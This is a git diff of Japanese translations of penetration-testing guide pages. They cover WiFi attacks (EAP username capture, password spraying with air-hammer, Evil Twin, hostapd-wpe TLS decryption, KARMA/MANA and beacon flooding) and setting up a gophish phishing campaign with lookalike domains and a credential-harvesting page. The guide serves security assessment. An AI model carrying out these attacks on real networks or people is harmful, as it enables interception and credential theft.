最も安全な認証方法の一つである**PEAP-EAP-TLS**を使用しても、**EAPプロトコルで送信されたユーザー名をキャプチャする**ことが可能です。そのためには、**認証通信をキャプチャ**します(チャンネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を使用)し、パケットを`eapol`でフィルタリングします。\
"**Response, Identity**"パケット内に、クライアントの**ユーザー名**が表示されます。
最も安全な認証方法の一つである**PEAP-EAP-TLS**を使用していても、**EAPプロトコルで送信されたユーザー名をキャプチャする**ことが可能です。そのためには、**認証通信をキャプチャ**します(チャンネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を使用)し、パケットを`eapol`でフィルタリングします。\
**"Response, Identity"**パケット内に、クライアントの**ユーザー名**が表示されます。
![](<../../images/image (850).png>)
@ -380,12 +381,12 @@ pyrit -r psk-01.cap analyze
アイデンティティの隠蔽は、EAP-PEAPとEAP-TTLSの両方でサポートされています。WiFiネットワークの文脈では、EAP-Identityリクエストは通常、関連プロセス中にアクセスポイントAPによって開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、初期RADIUSサーバーがリクエストを処理するために必要な基本情報のみが含まれます。この概念は以下のシナリオを通じて示されています
- EAP-Identity = anonymous
- このシナリオでは、すべてのユーザーが擬似的な"anonymous"をユーザー識別子として使用します。初期RADIUSサーバーは、EAP-PEAPまたはEAP-TTLSサーバーとして機能し、PEAPまたはTTLSプロトコルのサーバー側を管理します。内部保護された認証方法は、ローカルで処理されるか、リモートホームRADIUSサーバーに委任されます。
- このシナリオでは、すべてのユーザーが擬似的な「anonymous」をユーザー識別子として使用します。初期RADIUSサーバーは、EAP-PEAPまたはEAP-TTLSサーバーとして機能し、PEAPまたはTTLSプロトコルのサーバー側を管理します。内部保護された認証方法は、ローカルで処理されるか、リモートホームRADIUSサーバーに委任されます。
- EAP-Identity = anonymous@realm_x
- この状況では、異なるレルムのユーザーがそれぞれのレルムを示しながらアイデンティティを隠します。これにより、初期RADIUSサーバーはEAP-PEAPまたはEAP-TTLSリクエストをそれぞれのホームレルムのRADIUSサーバーにプロキシすることができ、これらはPEAPまたはTTLSサーバーとして機能します。初期RADIUSサーバーは、RADIUSリレー ノードとしてのみ機能します。
- あるいは、初期RADIUSサーバーがEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証方法を処理するか、別のサーバーに転送することもできます。このオプションは、さまざまなレルムに対して異なるポリシーを構成することを容易にします。
EAP-PEAPでは、PEAPサーバーとPEAPクライアントの間にTLSトンネルが確立されると、PEAPサーバーはEAP-Identityリクエストを開始し、それをTLSトンネルを通じて送信します。クライアントは、この2回目のEAP-Identityリクエストに対して、ユーザーの真のアイデンティティを含むEAP-Identity応答を暗号化されたトンネルを通じて送信します。このアプローチは、802.11トラフィックを傍受している誰にもユーザーの実際のアイデンティティが明らかになるのを効果的に防ぎます。
EAP-PEAPでは、PEAPサーバーとPEAPクライアントの間にTLSトンネルが確立されると、PEAPサーバーはEAP-Identityリクエストを開始し、それをTLSトンネルを通じて送信します。クライアントは、この2回目のEAP-Identityリクエストに対して、暗号化されたトンネルを通じてユーザーの真のアイデンティティを含むEAP-Identity応答を送信します。このアプローチは、802.11トラフィックを傍受している誰にもユーザーの実際のアイデンティティが明らかになるのを効果的に防ぎます。
EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライアントは通常、PAPまたはCHAPを使用して認証し、TLSトンネルによって保護されます。この場合、クライアントはトンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
@ -393,9 +394,9 @@ EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライ
詳細については[https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)を確認してください。
### EAP-Bruteforce (パスワードスプレー)
### EAP-ブルートフォース(パスワードスプレー)
クライアントが**ユーザー名とパスワード**を使用することが期待される場合(この場合、**EAP-TLSは無効**になります)、**ユーザー名**の**リスト**(次の部分を参照)と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**を使用してアクセスを**ブルートフォース**することを試みることができます。
クライアントが**ユーザー名とパスワード**を使用することが期待される場合(この場合、**EAP-TLSは無効**になります)、**ユーザー名**の**リスト**(次の部分を参照)と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**を使用してアクセスを**ブルートフォース**することができます。
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
@ -417,20 +418,20 @@ EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライ
### 優先ネットワークリストPNL
- ステーションは、接続するすべてのワイヤレスネットワークのESSIDを優先ネットワークリストPNLに保存し、ネットワーク固有の設定詳細も含まれます。
- ステーションは、接続するすべてのワイヤレスネットワークのESSIDを優先ネットワークリストPNLに保存し、ネットワーク固有の設定詳細を含めます。
- PNLは、既知のネットワークに自動的に接続するために使用され、接続プロセスを簡素化することでユーザーの体験を向上させます。
### パッシブスキャン
- APは定期的にビーコーフレームをブロードキャストし、その存在と機能を通知します。これには、ブロードキャストが無効になっていない限り、APのESSIDが含まれます。
- APは定期的にビーコーフレームをブロードキャストし、その存在と機能を発表します。これには、ブロードキャストが無効になっていない限り、APのESSIDが含まれます。
- パッシブスキャン中、ステーションはビーコーフレームをリスニングします。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続することがあります。
- デバイスのPNLの知識は、既知のネットワークのESSIDを模倣することで潜在的な悪用を可能にし、デバイスをロゲAPに接続させることができます。
### アクティブプロービング
- アクティブプロービングは、ステーションが近くのAPとその特性を発見するためにプローブリクエストを送信することを含みます。
- 指定されたプローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます。隠れたネットワークであってもです。
- ブロードキャストプローブリクエストはSSIDフィールドが空で、すべての近くのAPに送信され、ステーションPNLの内容を開示することなく、任意の優先ネットワークをチェックできます。
- 指定されたプローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます。たとえそれが隠れたネットワークであってもです。
- ブロードキャストプローブリクエストはSSIDフィールドが空であり、すべての近くのAPに送信され、ステーションPNLの内容を開示することなく、任意の優先ネットワークをチェックできるようにします。
## インターネットへのリダイレクトを伴うシンプルなAP
@ -500,17 +501,17 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
Evil Twin攻撃は、WiFiクライアントがネットワークを認識する方法を用し、主にネットワーク名ESSIDに依存して、ベースステーションアクセスポイントがクライアントに対して自認証を行う必要がありません。主なポイントは以下の通りです:
Evil Twin攻撃は、WiFiクライアントがネットワークを認識する方法を用し、主にネットワーク名ESSIDに依存して、ベースステーションアクセスポイントがクライアントに対して自らを認証する必要がありません。主なポイントは以下の通りです:
- **区別の難しさ**: デバイスは、同じESSIDと暗号化タイプを共有する場合、正当なアクセスポイントと悪意のあるアクセスポイントを区別するのが難しいです。実際のネットワークでは、カバレッジをシームレスに拡張するために、同じESSIDを持つ複数のアクセスポイントを使用することがよくあります。
- **クライアントのローミングと接続操作**: 802.11プロトコルは、デバイスが同じESS内のアクセスポイント間をローミングすることを可能にします。攻撃者は、デバイスを現在のベースステーションから切断させ、悪意のあるアクセスポイントに接続させることでこれを悪用できます。これは、より強い信号を提供するか、非認証パケットやジャミングなどの方法で正当なアクセスポイントへの接続を妨害することで達成できます。
- **実行の課題**: 複数の適切に配置されたアクセスポイントがある環境でEvil Twin攻撃を成功させるは難しい場合があります。単一の正当なアクセスポイントを非認証にすると、攻撃者が近くのすべてのアクセスポイントを非認証にするか、戦略的に悪意のあるアクセスポイントを配置しない限り、デバイスは別の正当なアクセスポイントに接続することがよくあります。
- **区別の難しさ**: デバイスは、同じESSIDと暗号化タイプを共有する正当なアクセスポイントと悪意のあるアクセスポイントを区別するのに苦労します。実際のネットワークでは、カバレッジをシームレスに拡張するために、同じESSIDを持つ複数のアクセスポイントを使用することがよくあります。
- **クライアントのローミングと接続操作**: 802.11プロトコルは、デバイスが同じESS内のアクセスポイント間をローミングすることを可能にします。攻撃者は、デバイスを現在のベースステーションから切断させ、悪意のあるアクセスポイントに接続させることでこれを利用できます。これは、より強い信号を提供したり、非認証パケットやジャミングなどの方法で正当なアクセスポイントへの接続を妨害することで達成できます。
- **実行の課題**: 複数の適切に配置されたアクセスポイントがある環境でEvil Twin攻撃を成功させることは難しい場合があります。単一の正当なアクセスポイントを非認証にすると、攻撃者が近くのすべてのアクセスポイントを非認証にするか、悪意のあるアクセスポイントを戦略的に配置しない限り、デバイスは別の正当なアクセスポイントに接続することがよくあります。
非常に基本的なOpen Evil Twinインターネットへのトラフィックをルーティングする機能はなしを作成することができます
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
**eaphammer**を使用してEvil Twinを作成することもできます注意eaphammerでEvil Twinを作成するには、インターフェースは**モニタ**モードであってはなりません)。
**eaphammer**を使用してEvil Twinを作成することもできます注意eaphammerでEvil Twinを作成するには、インターフェースは**モニタ**モードであってはなりません)。
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
@ -555,7 +556,7 @@ hostapd-wpe ./victim/victim.conf -s
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
これは長い接続時間を避けるためのデフォルトの方法論です。ただし、認証方法を最も弱いものから最も強いものへと指定することもできます:
これは長い接続時間を避けるためのデフォルトの方法論です。ただし、認証方法を最も弱いものから最も強いものまで指定することもできます:
```
--negotiate weakest
```
@ -576,18 +577,18 @@ Or you could also use:
_この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです。_
**hostapd-wpe** の **configuration** 内で、_**dh_file**_ を含む行を **コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` へ)\
これにより、`hostapd-wpe` は **RSAを使用して鍵を交換**するようになり、**サーバーの秘密鍵を知っていることで**後でトラフィックを**復号化**できるようになります。
**hostapd-wpe** の **configuration** 内で、_**dh_file**_ を含む行を **コメント** します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` へ)\
これにより、`hostapd-wpe` は **DHの代わりにRSAを使用して鍵を交換**するようになり、**サーバーの秘密鍵を知っていることで後でトラフィックを復号化**できるようになります。
次に、通常通りその修正された設定で **`hostapd-wpe`** を使用して **Evil Twin** を開始します。また、**Evil Twin攻撃を実行しているインターフェース**で **`wireshark`** を開始します。
今または後で(認証の試行をいくつかキャプチャした後)、プライベートRSAキーをwiresharkに追加できます`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
今または後で(認証の試行をいくつかキャプチャした後)、`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` でwiresharkにプライベートRSAキーを追加できます。
新しいエントリを追加し、次の値でフォームを記入します:**IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キー ファイル****キー ファイルを選択**、問題を避けるために**パスワード保護されていないキー ファイルを選択**)。
![](<../../images/image (687).png>)
新しい **"Decrypted TLS" タブ**を確認してください:
新しい **"Decrypted TLS" タブ** を確認してください:
![](<../../images/image (231).png>)
@ -595,14 +596,14 @@ _この方法はPEAP接続でテストされましたが、任意のTLSトンネ
### ESSID and MAC black/whitelists
異なるタイプのメディアアクセス制御フィルタリストMFACLと、それに対応するモードおよび不正アクセスポイントAPの動作への影響
異なるタイプのメディアアクセス制御フィルタリストMFACLと、それに対応するモードおよび不正アクセスポイントAPの動作への影響
1. **MACベースのホワイトリスト**
- 不正APは、ホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストにない他のすべてのデバイスには見えなくなります。
2. **MACベースのブラックリスト**
- 不正APは、ブラックリストにあるデバイスからのプローブリクエストを無視し、特定のデバイスに対して不正APを見えなくします。
3. **SSIDベースのホワイトリスト**
- 不正APは、リストにある特定のESSIDに対してのみプローブリクエストに応答し、Preferred Network ListsPNLにそのESSIDが含まれていないデバイスには見えなくなります。
- 不正APは、リストにある特定のESSIDに対するプローブリクエストにのみ応答し、Preferred Network ListsPNLにそのESSIDが含まれていないデバイスには見えなくなります。
4. **SSIDベースのブラックリスト**
- 不正APは、ブラックリストにある特定のESSIDに対するプローブリクエストには応答せず、特定のネットワークを探しているデバイスには見えなくなります。
```bash
@ -626,25 +627,25 @@ name3
```
### KARMA
この方法は、**攻撃者がネットワークに接続しようとするデバイスからのすべてのプローブリクエストに応答する悪意のあるアクセスポイント (AP) を作成することを可能にします**。この技術は、**デバイスが探しているネットワークを模倣することによって、デバイスを攻撃者のAPに接続させる**ものです。デバイスがこの不正なAPに接続リクエストを送信すると、接続が完了し、デバイスは誤って攻撃者のネットワークに接続されます。
この方法は、**攻撃者がネットワークに接続しようとするデバイスからのすべてのプローブリクエストに応答する悪意のあるアクセスポイント (AP) を作成することを可能にします**。この技術は、**デバイスが探しているネットワークを模倣することによって、デバイスを攻撃者のAPに接続させる**ものです。デバイスがこの不正なAPに接続リクエストを送信すると、接続が完了し、デバイスは誤って攻撃者のネットワークに接続してしまいます。
### MANA
その後、**デバイスは不正なネットワーク応答を無視し始め**、元のkarma攻撃の効果が減少しました。しかし、**MANA攻撃**として知られる新しい方法が、イアン・デ・ヴィリアーズとドミニク・ホワイトによって導入されました。この方法は、不正なAPが**デバイスのブロードキャストプローブリクエストに応答して、デバイスによって以前に確実とされたネットワーク名 (SSID) で応答することによって、デバイスからの優先ネットワークリスト (PNL) をキャプチャする**ことを含みます。この高度な攻撃は、デバイスが既知のネットワークを記憶し、優先順位を付ける方法を利用することで、元のkarma攻撃に対する保護を回避します。
MANA攻撃は、デバイスからの指向およびブロードキャストプローブリクエストの両方を監視することによって機能します。指向リクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリスト上のネットワークに一致する情報で応答し、デバイスを不正なAPに接続させるように誘引します。
MANA攻撃は、デバイスからの指向およびブロードキャストプローブリクエストの両方を監視することによって機能します。指向リクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークに一致する情報で応答し、デバイスを不正なAPに接続させるように誘引します。
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Loud MANA
**Loud MANA攻撃**は、デバイスが指向プロービングを使用しない場合や、攻撃者にとっての優先ネットワークリストPNLが不明な場合に使用される高度な戦略です。この攻撃は、**同じエリア内のデバイスはPNLにいくつかのネットワーク名を共有する可能性が高い**という原則に基づいています。選択的に応答するのではなく、この攻撃は観測されたすべてのデバイスの結合PNLに見つかったすべてのネットワーク名ESSIDに対してプローブ応答をブロードキャストします。この広範なアプローチは、デバイスが馴染みのあるネットワークを認識し、悪意のあるアクセスポイントAPに接続しようとする可能性を高めます。
**Loud MANA攻撃**は、デバイスが指向プロービングを使用しない場合や、攻撃者にとっての優先ネットワークリストPNLが不明な場合に使用される高度な戦略です。この攻撃は、**同じエリアにいるデバイスはPNLにいくつかのネットワーク名を共有する可能性が高い**という原則に基づいています。選択的に応答するのではなく、この攻撃は観測されたすべてのデバイスの結合PNLに見つかったすべてのネットワーク名ESSIDに対してプローブ応答をブロードキャストします。この広範なアプローチは、デバイスが馴染みのあるネットワークを認識し、悪意のあるアクセスポイントAPに接続しようとする可能性を高めます。
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Known Beacon attack
**Loud MANA攻撃**が不十分な場合、**Known Beacon攻撃**は別のアプローチを提供します。この方法は、**単語リストから派生した潜在的なESSIDのリストを循環させながら、任意のネットワーク名に応答するAPをシミュレートすることによって接続プロセスをブルートフォースします**。これは、多数のネットワークの存在をシミュレートし、被害者のPNL内のESSIDと一致することを期待し、作成されたAPへの接続試行を促します。この攻撃は、デバイスを捕らえるためのより攻撃的な試みとして`--loud`オプションと組み合わせることで増幅できます。
**Loud MANA攻撃**が不十分な場合、**Known Beacon攻撃**は別のアプローチを提供します。この方法は、**単語リストから派生した潜在的なESSIDのリストを循環させながら、任意のネットワーク名に応答するAPをシミュレートすることによって接続プロセスをブルートフォースします**。これにより、多数のネットワークの存在がシミュレートされ、被害者のPNL内のESSIDと一致することを期待し、作成されたAPへの接続試行を促します。この攻撃は、デバイスを捕らえるためのより攻撃的な試みとして`--loud`オプションと組み合わせることで増幅できます。
Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されますこれを`--loud`と組み合わせてLoud MANA + Known beacons攻撃を作成することもできます
```bash
@ -652,7 +653,7 @@ Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のす
```
**既知のビーコンサージ攻撃**
**既知のビーコンサージ攻撃**は、**ファイルにリストされた各ESSIDのビーコーフレームを迅速にブロードキャストする**ことを含みます。これにより、偽のネットワークの密集した環境が作成され、特にMANA攻撃と組み合わせることで、デバイスが悪意のあるAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを利用してデバイスのネットワーク選択メカニズムを圧倒します。
**既知のビーコンサージ攻撃**は、**ファイルにリストされた各ESSIDのビーコーフレームを迅速にブロードキャストする**ことを含みます。これにより、偽のネットワークの密集した環境が作成され、特にMANA攻撃と組み合わせることで、デバイスが悪意のあるAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを利用してデバイスのネットワーク選択メカニズムを圧倒します。
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -668,14 +669,14 @@ Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のす
Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup (WPS)**を通じて確立されており、セキュアなペアリングのためのいくつかの方法をサポートしています。これには以下が含まれます:
- **Push-Button Configuration (PBC)**
- **PIN入力**
- **PINエントリー**
- **Near-Field Communication (NFC)**
これらの方法、特にPIN入力は、従来のWi-FiネットワークにおけるWPSと同様の脆弱性にさらされており、同様の攻撃ベクターの標的となります。
これらの方法、特にPINエントリーは、従来のWi-FiネットワークにおけるWPSと同様の脆弱性にさらされており、同様の攻撃ベクトルの標的となります。
### EvilDirect Hijacking
**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映していますが、Wi-Fi Direct接続をターゲットにしています。このシナリオでは、攻撃者が正当なグループオーナーを偽装し、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、`airbase-ng`のようなツールを使用して、偽装されたデバイスのチャネル、ESSID、およびMACアドレスを指定することで実行できます。
**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映しており、Wi-Fi Direct接続をターゲットにします。このシナリオでは、攻撃者が正当なグループオーナーを偽装し、デバイスを悪意のあるエンティティに接続させることを目的とします。この方法は、`airbase-ng`のようなツールを使用して、偽装されたデバイスのチャネル、ESSID、およびMACアドレスを指定することで実行できます。
## References
@ -690,6 +691,6 @@ Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup (WPS)**を
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)を確認してくださいFacebookでログインし、キャプティブポータルでWPAを模倣する
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,17 +5,17 @@
## 手法
1. 被害者の調査
1. **被害者ドメイン**を選択します。
2. 被害者が使用している**ログインポータル**を探すために基本的なウェブ列挙を行い、**なりすます**ものを**決定**します。
1. **被害者ドメイン**を選択します。
2. 被害者が使用している**ログインポータル**を探すために基本的なウェブ列挙を行い、**なりすます**ポータルを**決定**します。
3. **OSINT**を使用して**メールアドレス**を**見つけます**
2. 環境の準備
1. フィッシング評価に使用する**ドメインを購入**します。
2. 関連するメールサービスのレコードを**設定**しますSPF、DMARC、DKIM、rDNS
2. **メールサービス**に関連するレコードSPF、DMARC、DKIM、rDNSを**設定**します
3. **gophish**でVPSを設定します。
3. キャンペーンの準備
1. **メールテンプレート**を準備します。
2. 認証情報を盗むための**ウェブページ**を準備します。
4. キャンペーンを開始します
4. キャンペーンを開始!
## 類似のドメイン名を生成するか、信頼できるドメインを購入する
@ -36,7 +36,7 @@ homograph-attacks.md
- **置換**: ホモグリフのようですが、あまり目立ちません。ドメイン名の1つの文字を、元の文字の近くにある文字に置き換えます例: zektser.com
- **サブドメイン化**: ドメイン名内に**ドットを挿入します**(例: ze.lster.com
- **挿入**: ドメイン名に**文字を挿入します**(例: zerltser.com
- **ドットの欠落**: TLDをドメイン名に追加します(例: zelstercom.com
- **ドットの欠落**: ドメイン名にTLDを追加します(例: zelstercom.com
**自動ツール**
@ -51,20 +51,20 @@ homograph-attacks.md
### ビットフリッピング
いくつかのビットが保存されているか通信中に**自動的に反転する可能性があります**。これは、太陽フレア、宇宙線、またはハードウェアエラーなどのさまざまな要因によるものです。
いくつかのビットが保存または通信中に**自動的に反転する可能性があります**。これは、太陽フレア、宇宙線、またはハードウェアエラーなどのさまざまな要因によるものです。
この概念が**DNSリクエストに適用されると**、**DNSサーバーによって受信されたドメイン**が最初にリクエストされたドメインと同じでない可能性があります。
この概念が**DNSリクエストに適用されると**、**DNSサーバーによって受信されたドメイン**が最初にリクエストされたドメインと同じでない可能性があります。
例えば、ドメイン「windows.com」の1ビットの変更は「windnws.com」に変わる可能性があります。
例えば、ドメイン「windows.com」の1ビットの変更により、「windnws.com」に変わることがあります。
攻撃者は、被害者のドメインに似た複数のビットフリッピングドメインを登録することで**これを利用する可能性があります**。彼らの意図は、正当なユーザーを自分たちのインフラにリダイレクトすることです。
攻撃者は、被害者のドメインに似た複数のビットフリッピングドメインを**登録することでこれを利用する**かもしれません。彼らの意図は、正当なユーザーを自分たちのインフラにリダイレクトすることです。
詳細については、[こちらをお読みください](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)。
詳細については、[https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)をお読みください
### 信頼できるドメインを購入する
[https://www.expireddomains.net/](https://www.expireddomains.net)で使用できる期限切れのドメインを検索できます。\
購入する期限切れのドメインが**すでに良好なSEOを持っていることを確認するために**、以下のサイトでそのカテゴリを確認できます:
購入する期限切れのドメインが**すでに良好なSEOを持っていることを確認するために**、以下のサイトでそのカテゴリを検索できます:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
@ -77,8 +77,8 @@ homograph-attacks.md
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
**より多くの**有効なメールアドレスを**発見するか、すでに発見したものを確認するために**、被害者のSMTPサーバーをブルートフォース攻撃できるか確認できます。[メールアドレスの確認/発見方法についてはこちらを学んでください](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
さらに、ユーザーが**メールにアクセスするためのウェブポータルを使用している場合**、それが**ユーザーネームのブルートフォース攻撃に対して脆弱であるかどうかを確認し、可能であればその脆弱性を悪用することを忘れないでください**。
**さらに多くの**有効なメールアドレスを**発見するか、すでに発見したものを**確認するために、被害者のSMTPサーバーをブルートフォース攻撃できるか確認できます。[ここでメールアドレスを確認/発見する方法を学びます](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
さらに、ユーザーが**メールにアクセスするためのウェブポータルを使用している場合**、それが**ユーザーのブルートフォース攻撃に対して脆弱かどうかを確認し、可能であればその脆弱性を悪用することを忘れないでください**。
## GoPhishの設定
@ -130,7 +130,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
次に、**DNS Aレコード** `mail.<domain>` をVPSの**IPアドレス**にポイントさせ、**DNS MX**レコードを `mail.<domain>` にポイントさせます。
では、メールを送信するテストを行いましょう:
次に、メールを送信するテストを行いましょう:
```bash
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
@ -212,7 +212,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
サービスの設定を完了し、次の操作を行って確認します:
サービスの設定を完了し、次のことを確認します:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -227,11 +227,11 @@ service gophish stop
### 待機して正当性を保つ
ドメインが古いほど、スパムとして捕まる可能性は低くなります。そのため、フィッシング評価の前にできるだけ長く少なくとも1週間待つべきです。さらに、評判の良い分野に関するページを作成すれば、得られる評判はより良くなります。
ドメインが古いほど、スパムとして検出される可能性は低くなります。そのため、フィッシング評価の前にできるだけ長く少なくとも1週間待つべきです。さらに、評判の良い分野に関するページを作成すれば、得られる評判はより良くなります。
1週間待たなければならない場合でも、今すぐにすべての設定を終えることができます。
### 逆引きDNSrDNSレコードの設定
### リバースDNSrDNSレコードの設定
VPSのIPアドレスをドメイン名に解決するrDNSPTRレコードを設定します。
@ -268,14 +268,14 @@ v=DMARC1; p=none
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
> ```
### メール設定スコアをテストする
### Test your email configuration score
[https://www.mail-tester.com/](https://www.mail-tester.com)を使用してそれを行うことができます。\
ページにアクセスして、彼らが提供するアドレスにメールを送信してください:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
あなたはまた、**メール設定を確認する**ために `check-auth@verifier.port25.com` にメールを送信し、**応答を読む**ことができます(これには、**ポート25を開く**必要があり、メールをrootとして送信した場合はファイル _/var/mail/root_応答を確認します)。\
あなたはまた、**メール設定を確認する**ために `check-auth@verifier.port25.com` にメールを送信し、**レスポンスを読む**ことができます(これには、**ポート25を開く**必要があり、メールをrootとして送信した場合はファイル _/var/mail/root_レスポンスを確認します)。\
すべてのテストに合格していることを確認してください:
```bash
==========================================================
@ -287,7 +287,7 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
あなたはまた、**あなたの管理下にあるGmailにメッセージを送信**、Gmailの受信トレイで**メールのヘッダー**を確認することができます。`dkim=pass``Authentication-Results`ヘッダー欄に存在する必要があります。
あなたはまた、**あなたの管理下にあるGmailにメッセージを送信**、Gmailの受信トレイで**メールのヘッダー**を確認することができます。`dkim=pass``Authentication-Results`ヘッダー欄に存在する必要があります。
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
@ -295,11 +295,11 @@ dkim=pass header.i=@example.com;
```
### Spamhouseのブラックリストからの削除
ページ [www.mail-tester.com](https://www.mail-tester.com) は、あなたのドメインがspamhouseによってブロックされているかどうかを示すことができます。あなたのドメイン/IPの削除をリクエストするには: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
ページ [www.mail-tester.com](https://www.mail-tester.com) は、あなたのドメインがspamhouseによってブロックされているかどうかを示すことができます。あなたのドメイン/IPの削除をリクエストすることができます: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Microsoftのブラックリストからの削除
あなたのドメイン/IPの削除をリクエストするには [https://sender.office.com/](https://sender.office.com) にアクセスしてください。
あなたのドメイン/IPの削除をリクエストすることができます: [https://sender.office.com/](https://sender.office.com).
## GoPhishキャンペーンの作成と開始
@ -307,13 +307,13 @@ dkim=pass header.i=@example.com;
- 送信者プロファイルを識別するための**名前を設定**します
- フィッシングメールを送信するアカウントを決定します。提案: _noreply, support, servicedesk, salesforce..._
- ユーザー名とパスワードは空白のままにできますが、証明書エラーを無視することを確認してください
- ユーザー名とパスワードは空白のままにできますが、証明書エラーを無視する」にチェックを入れることを確認してください
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
